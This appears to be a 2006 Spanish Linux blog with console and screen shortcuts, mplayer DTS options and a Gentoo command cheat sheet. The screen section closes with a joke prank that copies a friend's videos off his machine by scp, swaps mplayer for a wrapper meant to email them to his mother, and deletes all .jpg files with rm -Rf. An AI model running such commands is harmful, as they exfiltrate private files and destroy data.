miércoles, febrero 08, 2006

Otro mail del pedro - Linea de comandos en linux

Este mail es anterior al de dts con mplayer pero lo pongo por que me resulta bastante gracioso, ademas como no tengo contenidos pal blog pos asi relleno.

Salud3!





Hola, soy coco y hoy vamos a aprender un poco sobre la linea de comandos y un par de utilidades:

Empiezo con copy&paste indiscriminado porque primero he escrito la parte de screen y me he cansado ~_^:

Tips de consola (xterm, konsole o lo que sea):

<ctrl> + a # Move cursor to the beginning of the line.
<ctrl> + e # Move cursor to the end of the line.

<alt> + d # Cut the word under the cursor to a buffer.
<ctrl> + y # Insert content of buffer (see <alt> + d).

<ctrl> + u # clears actually typed line from beginning of line to current position
<ctrl> + k # clears actually typed line from current position end of line
<ctrl> + w # Deletes the word before the cursor or if you are in a word it deletes the beginning of it.

<ctrl> + s # pause console output. The process keeps running.
<ctrl> + q # Resume console output paused with <ctrl> + s

<ctrl> + z # suspend current process and send it into background
# bg
# If the program should run in background, you'll have to "unsuspend" it with `bg

# fg
# to get the program back to foreground

<ctrl> + r # To get reverse pattern search in your last used commands. Then type in what you are looking for. This function is "search as you type". To cycle through the found commands, press
<ctrl>+r continuously.

<ctrl> + l # Will clear the whole display,


Para Palomín que está ripeando mucho últimamente. Para ver la info de videos y demás zarandajas:


Versión kutre, file:

Ejemplo1:

# file /mnt/datos/Peliculas/Doom\ UNRATED\ -\ VOSE\ -\ CD1.avi
/mnt/datos/Peliculas/Doom UNRATED - VOSE - CD1.avi: RIFF
(little-endian) data, AVI, 720 x 304, 23.98 fps, video: XviD, audio:
Dolby AC3 (6 channels, 48000 Hz)


Ejemplo2:

# file /mnt/datos/Peliculas/Entre\ Copas.img
/mnt/datos/Peliculas/Entre Copas.img: ISO 9660 CD-ROM filesystem data
'ENTRE_COPAS'


Cojo-versión, midentify:

Ejemplo1:

# midentify /mnt/datos/Peliculas/Entre\ Copas.img
ID_AUDIO_ID=129
ID_AUDIO_ID=128
ID_AUDIO_ID=130
ID_AUDIO_ID=131
ID_AUDIO_ID=23


Ejemplo2:


# midentify /mnt/datos/Peliculas/Doom\ UNRATED\ -\ VOSE\ -\ CD1.avi
ID_VIDEO_ID=0
ID_AUDIO_ID=1
ID_FILE_SUB_ID=0
ID_FILE_SUB_FILENAME=/mnt/datos/Peliculas/Doom UNRATED - VOSE - CD1.srt
ID_FILENAME="/mnt/datos/Peliculas/Doom UNRATED - VOSE - CD1.avi"
ID_VIDEO_FORMAT=XVID
ID_VIDEO_BITRATE=1116360
ID_VIDEO_WIDTH=720
ID_VIDEO_HEIGHT=304
ID_VIDEO_FPS=23.976
ID_VIDEO_ASPECT=0.0000
ID_AUDIO_CODEC=hwac3
ID_AUDIO_FORMAT=8192
ID_AUDIO_BITRATE=448000
ID_AUDIO_RATE=48000
ID_AUDIO_NCH=2
ID_LENGTH=3736


Screen:

Es un programita que te permite tener dentro de una terminal muchas terminales. Además puedes desconectarte o cerrar sesión o lo que te salga de las pelotas y screen seguirá kurrando hasta que vuelvas ^_^.

Esto es tremendamente util para conectarte por ssh si tienes un proceso corriendo y no quieres que se corte cuando reinicies las X.

En bulma hay un kutre manual que no vale ni para tomar por kulo, pero os lo dejo por si no pillais mi prosa ~_^:

http://bulma.net/body.phtml?nIdNoticia=1120

1º lo instalamos: apt-get / emerge screen

Y lo ejecutamos desde un terminal:


tarugo@mimakinamola $ screen


Ya estamos dentro de screen, ahora os digo unas teclas últiles para moveros por las terminales:

Lo explico para lerdos: Presionamos control + a y luego la tecla que nos interese xDDD


<ctrl> +a + c # Crea un nuevo terminal
<ctrl> +a + n # Vamos al siguiente terminal
<ctrl> +a + p # Vamos al anterior terminal
<ctrl> +a + nº # Vamos a ese número de terminal
<ctrl> +a + " # Lista las terminales que tengamos abiertas dentro del screen
<ctrl> +a + d # Salimos de screen, pero los terminales siguen ahí esperando que volvamos. De hecho esperando no es correcto, porque siguen igual que antes.
<ctrl> +a + ? # La consabida ayuda


Para volver a la sesión de screen que teníamos abierta y de la que nos habíamos ido, volvemos con:

tarugo@mimakinamola $ screen -r


Pero si no la hemos cerrado y queremos que, estando abierta en otro lado acceder e todas formas lo hacemos con:

tarugo@mimakinamola $ screen -x


De hecho esto es muy util para que puedas manejar las sesiones desde distintios sitios a la vez.

Ejemplo:

Moz se ha vuelto a cargar el soporte para grabadora en su ordenador, y yo estoy hasta las pelotas de que el chaval no se implique y no aprenda. ¿que hacer?


## Me conecto por ssh y ejecuto screen:

el_puto_amo@maquina_del_puto_amo $ ssh -l moz moz.servebeer.com
moz@maquina_de_moz $ screen

## Me creo una terminal:

<ctrl> +a + c

## Empiezo a bajarme su porno y juankearle el mplayer para que cualquier video que vea se lo mande por email a su madre

maquina_de_moz # scp $(find / -iname *.mpg) \ el_puto_amo@maquina_del_puto_amo:/mnt/cosas_conseuidas_ilicitamente/

## Ahora el super-juankeo xDDDDD

moz@maquina_de_moz $ su
moz@maquina_de_moz $ mv /usr/bin/mplayer /usb/bin/mplayer_old
moz@maquina_de_moz $ touch /usr/bin/mplayer
moz@maquina_de_moz $ echo "#!/bin/sh" > /usr/bin/mplayer
moz@maquina_de_moz $ /usr/bin/mplayer_old "$1"
moz@maquina_de_moz $ mail -s "Esto es lo que hace tu hijo" \ mami_de_moz@hotmail.com < "$1"
moz@maquina_de_moz $ chmod 777 /usr/bin/mplayer

## Creo un tercer terminal y sigo haciendo el mal

<ctrl> +a + c

## Empiezo una escabechina!!!
moz@maquina_de_moz $ su
moz@maquina_de_moz $ rm -Rf $(find / -iname *.jpg)

## Mientras mis malvados actos se desarrollan, le llamo y le digo que habra un terminal y ejecute:

moz@maquina_de_moz $ screen -x

## Ahora iré a la primera terminal para fingir que intento arreglarselo
<ctrl> +a +0

## Mwajajajajaja!!!


PD: Tengo que dejar de leer tiras de Raulito xDDDDD

martes, febrero 07, 2006

MPlayer con dts

Ayer recibi un correo de mi colega pedro explicandome como poner dts en mplayer, aqui os dejo el contenido del email pal que pueda interesar.

Ya tocaba y hoy por fin he realizado un par de busquedas en google.

Pero vamos, no te hagas muchas ilusiones porque lo que a mi me gusta es que el mplayer se esté quietecito y le deje el kurro al ampli ^_^

Te paso la poca info que he visto por si te sirve de ayuda:

libdca - a free DTS Coherent Acoustics decoder.

Es lo que usa el mplayer y el ffmpeg cuando tienen que decodificarlo. Pero dicen que está verde todavía.

Creo que la USE de gentoo corresponde a este codec, pero no lo he comprobado.

Los parametros que hay que pasarle para escucharlo. No sé si tambien valdrá para extraerlo. Espero que sí

To enable passthrough on the command line:
* For AC3 only, use -ac hwac3
* For DTS only, use -ac hwdts
* For both AC3 and DTS, use -afm hwac3

To enable passthrough in the MPlayer configuration file:
* For AC3 only, use ac=hwac3,
* For DTS only, use ac=hwdts,
* For both AC3 and DTS, use afm=hwac3

Sacado de la peich de mplayer


Saluditos!


domingo, febrero 05, 2006

Comandos en linux (para gentoo)

Estos comandos son cosillas que voy aprendiendo en mi viaje hace los conocimiento linuxerescos, logicamente como buen noob tendran fallos y habra mejores formas de hacerlo asi que no me hago responsable de que se os pete el ordenador ni cosas parecidas. Os puede orientar a los que como yo llevais poco tiempo con estos maravillosos sistemas, pero os recomiendo que antes de hacer alguna cosa de las que acontinuacion resumo os empolleis el man de cada comando y reviseis las opciones.

Salud3!

Añadir al usuario moz667 al grupo games

$ gpasswd -a moz667 games

Arrancar el doom con una config

$ doom3 +set in_tty 0 +set sys_videoRam 256

Problema de sonido en quake 3, oss
Solucionado con la nueva version compilada
(¡gracias o dios Carmack por liberar el quake 3!)

$echo "quake3.x86 0 0 direct" > /proc/asound/card0/pcm0p/oss

Asignar dhcp a eth1

$ dhcpcd eth1

Grabar un iso

$ cdrecord -v -dao speed=1 dev=/dev/cdroms/cdrom0 name.iso

Montar una unidad de windows con samba

$ mount -t smbfs -o username=windowsuser,password=lapassword //Maquinawindows/DirectorioCompartido /mnt/directoriopamontar/

$ smbmount //Maquinawindows/DirectorioCompartido /mnt/directoriopamontar/

Crear una iso desde un cd/dvd

$ growisofs -Z /dev/dvdrw=nombrefichero.iso

Grabar una iso

$ cdrecord-wrapper.sh -v -dao speed=1 dev=/dev/cdroms/cdrom0 fichero.iso
$ cdrecord -v -dao speed=4 dev=/dev/cdroms/cdrom0 fichero.iso

Nota : -dummy para probar sin copiar y no joder asi muchos dvds

Crear una iso a partri de un directorio que se llame dvd

$ mkisofs -max-iso9660-filenames -volid NARUTO -o naruto2.iso dvd/*
$ mkisofs -joliet-long -allow-lowercase -allow-multidot -volid NOMBREDELVOLUMEN -o fichero.iso dvd/*

Parametros del hdparm para la grabadora

$ hdparm -d1 -X sdma1 /dev/hdc

Buscar un archivo con find (mejor con slocate)

$ find /etc -iname '._cfg????_*'

Nota : Este ejemplo ademas es para buscar ficheros de configuracion que te falten por actualizar en gentoo (el etc-update funciona mu bien)

Montar una iso en /mnt/cdrom/

$ mount -o loop fichero.iso /mnt/cdrom/

Arrancar el everquest y que no te parchee

$ cedega eqgame.exe patchme

Permisos y propietarios

$ chmod 700 [directorio o fichero] -R
$ chown usuario:grupo [directorio o fichero] -R

Nota : -R para hacer recursion en subdirectorios

Para hacer un emerge world

$ emerge sync
$ emerge portage
$ emerge world
$ ect-update

Mas o menos con esto valdria.

grep con expresiones regulares

$ egrep 'hola|adiós' *

Nota : busca en los ficheros del directorio actual archivos que contengan hola o adiós

Para montar imagenes con cue

$ modprobe cdemu
$ cdemu 0 file.cue
$ mount -t iso9660 /dev/cdemu0 /mnt/cdrom

Para desmontarlas cues y quitar el modulo

$ umount /mnt/cdrom
$ cdemu -u 0
$ rmmod cdemu

Reproducir un asx desde mplayer

$ mplayer -playlist http://64.12.46.210/thewb/us/content/mJc3Y2_SM513-trl_300.asx